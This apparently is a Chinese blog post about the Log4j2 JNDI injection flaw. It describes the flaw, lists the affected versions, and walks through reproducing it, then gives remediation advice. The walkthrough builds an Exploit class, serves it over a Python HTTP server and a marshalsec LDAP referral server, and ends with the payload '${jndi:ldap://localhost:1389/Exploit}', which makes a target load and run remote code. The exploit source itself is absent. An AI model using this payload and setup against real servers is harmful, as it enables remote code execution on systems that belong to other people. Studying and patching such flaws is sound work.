Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Log4j2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等众多组件与大型应用均受影响。鉴于此漏洞危害巨大,利用门槛极低。
Apache Log4j 2.x < 2.15.0-rc2
技术细节-已公开
PoC状态-已公开
EXP状态-已公开
在野利用-已发现
紧急较大事件
1、复现pom文件,需要引入的jar:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
2、POC内容:
3、Exploit内容
4、使用java编译一个class文件
javac Exploit.java
5、使用python开启http服务(其他也行)
将Exploit.class文件放入http服务目录(在哪个文件夹下启动,显示的就是当前文件夹的文件,默认是 8000,指定了端口之后,访问就是指定的端口)
python -m http.server 4444
python -m SimpleHTTPServer 4444
6、marshalsec工具启动LDAP服务
不指定端口:
marshalsec-master\marshalsec-master\target>java -cp marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:4444/#Exploit 不指定端口默认是1389 Exploit是文件名称
指定端口:
marshalsec-master\marshalsec-master\target>java -cp marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1099
7、执行poc
运行poc中的代码可以看到Exp中的代码已经被运行
首先需要在公网执行marshalsec启动LDAP服务,目的是为了让目标能够读取到我们的Exp ,参数中提交 payload: "${jndi:ldap://localhost:1389/Exploit}"。
8、利用条件
当功能传输参数直接输出到日志时,可以构造payload,直接访问。
1、漏洞排查
排查应用是否引入了 Apache Log4j2 Jar 包,若存在依赖引入,则可能存在漏
洞影响。
2、攻击排查
3、修复建议
(1)升级到最新版本:
请联系厂商获取修复后的官方版本:https://github.com/apache/logginglog4j2 ;
请尽快升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logginglog4j2/releases/tag/log4j-2.15.0-rc2 或采用奇安信产品解决方案来防护此漏洞。
(2)缓解措施:
12 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!